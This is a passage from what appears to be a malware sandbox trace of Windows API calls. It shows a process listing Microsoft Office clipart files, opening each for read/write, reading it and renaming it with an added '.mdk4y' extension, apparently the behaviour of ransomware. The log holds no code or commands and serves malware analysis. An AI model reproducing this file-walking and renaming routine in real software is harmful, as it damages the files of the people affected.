Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.mdk4y")) returned 1 [0164.687] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.687] AreFileApisANSI () returned 1 [0164.687] GetACP () returned 0x4e4 [0164.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0237228.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0237228.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.687] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823991800000) returned 1 [0164.688] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5700, lpOverlapped=0x0) returned 1 [0164.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823994700000) returned 1 [0164.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823994700000) returned 1 [0164.717] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.mdk4y")) returned 1 [0164.719] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.719] AreFileApisANSI () returned 1 [0164.719] GetACP () returned 0x4e4 [0164.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0237336.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0237336.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.719] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823994900000) returned 1 [0164.719] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x60c2, lpOverlapped=0x0) returned 1 [0164.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823997900000) returned 1 [0164.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823997900000) returned 1 [0164.750] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.mdk4y")) returned 1 [0164.751] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.751] AreFileApisANSI () returned 1 [0164.751] GetACP () returned 0x4e4 [0164.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0237759.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0237759.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.751] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823998400000) returned 1 [0164.754] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x51be, lpOverlapped=0x0) returned 1 [0164.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823998800000) returned 1 [0164.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823998800000) returned 1 [0164.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.mdk4y")) returned 1 [0164.760] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.760] AreFileApisANSI () returned 1 [0164.760] GetACP () returned 0x4e4 [0164.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0238333.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0238333.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.760] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823999100000) returned 1 [0164.761] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x59a0, lpOverlapped=0x0) returned 1 [0164.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823999900000) returned 1 [0164.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823999900000) returned 1 [0164.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.mdk4y")) returned 1 [0164.773] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.773] AreFileApisANSI () returned 1 [0164.773] GetACP () returned 0x4e4 [0164.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0238927.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0238927.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.773] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824000400000) returned 1 [0164.774] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1334, lpOverlapped=0x0) returned 1 [0164.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824002500000) returned 1 [0164.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824002500000) returned 1 [0164.795] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.mdk4y")) returned 1 [0164.796] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.796] AreFileApisANSI () returned 1 [0164.796] GetACP () returned 0x4e4 [0164.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0238959.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0238959.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.796] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824002700000) returned 1 [0164.797] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d3c, lpOverlapped=0x0) returned 1 [0164.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824006100000) returned 1 [0164.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824006100000) returned 1 [0164.831] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.mdk4y")) returned 1 [0164.833] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.833] AreFileApisANSI () returned 1 [0164.833] GetACP () returned 0x4e4 [0164.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0238983.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0238983.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.833] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824006300000) returned 1 [0164.834] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13b8, lpOverlapped=0x0) returned 1 [0164.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824007600000) returned 1 [0164.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824007600000) returned 1 [0164.846] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.mdk4y")) returned 1 [0164.848] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.848] AreFileApisANSI () returned 1 [0164.848] GetACP () returned 0x4e4 [0164.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239057.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239057.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.848] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824008000000) returned 1 [0164.850] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1284, lpOverlapped=0x0) returned 1 [0164.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824009100000) returned 1 [0164.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824009100000) returned 1 [0164.861] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.mdk4y")) returned 1 [0164.862] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.862] AreFileApisANSI () returned 1 [0164.862] GetACP () returned 0x4e4 [0164.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239063.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239063.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.862] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824009300000) returned 1 [0164.863] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16fc, lpOverlapped=0x0) returned 1 [0164.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824009500000) returned 1 [0164.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824009500000) returned 1 [0164.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.mdk4y")) returned 1 [0164.866] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.866] AreFileApisANSI () returned 1 [0164.866] GetACP () returned 0x4e4 [0164.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239079.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239079.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.866] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824009700000) returned 1 [0164.867] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1294, lpOverlapped=0x0) returned 1 [0164.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824012000000) returned 1 [0164.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824012000000) returned 1 [0164.890] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.mdk4y")) returned 1 [0164.892] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.892] AreFileApisANSI () returned 1 [0164.892] GetACP () returned 0x4e4 [0164.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239191.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239191.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.892] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824012300000) returned 1 [0164.894] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1464, lpOverlapped=0x0) returned 1 [0164.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824021900000) returned 1 [0164.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824021900000) returned 1 [0164.989] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.mdk4y")) returned 1 [0164.990] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.990] AreFileApisANSI () returned 1 [0164.990] GetACP () returned 0x4e4 [0164.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239611.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239611.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.990] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824022100000) returned 1 [0164.991] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8424, lpOverlapped=0x0) returned 1 [0165.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824024800000) returned 1 [0165.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824024800000) returned 1 [0165.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.mdk4y")) returned 1 [0165.020] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.020] AreFileApisANSI () returned 1 [0165.020] GetACP () returned 0x4e4 [0165.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239935.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239935.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.020] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824025400000) returned 1 [0165.024] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1314, lpOverlapped=0x0) returned 1 [0165.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824028100000) returned 1 [0165.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824028100000) returned 1 [0165.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.mdk4y")) returned 1 [0165.053] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.053] AreFileApisANSI () returned 1 [0165.053] GetACP () returned 0x4e4 [0165.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239941.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239941.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.053] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824028400000) returned 1 [0165.054] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1418, lpOverlapped=0x0) returned 1 [0165.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824032900000) returned 1 [0165.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824032900000) returned 1 [0165.100] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.mdk4y")) returned 1 [0165.101] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.101] AreFileApisANSI () returned 1 [0165.101] GetACP () returned 0x4e4 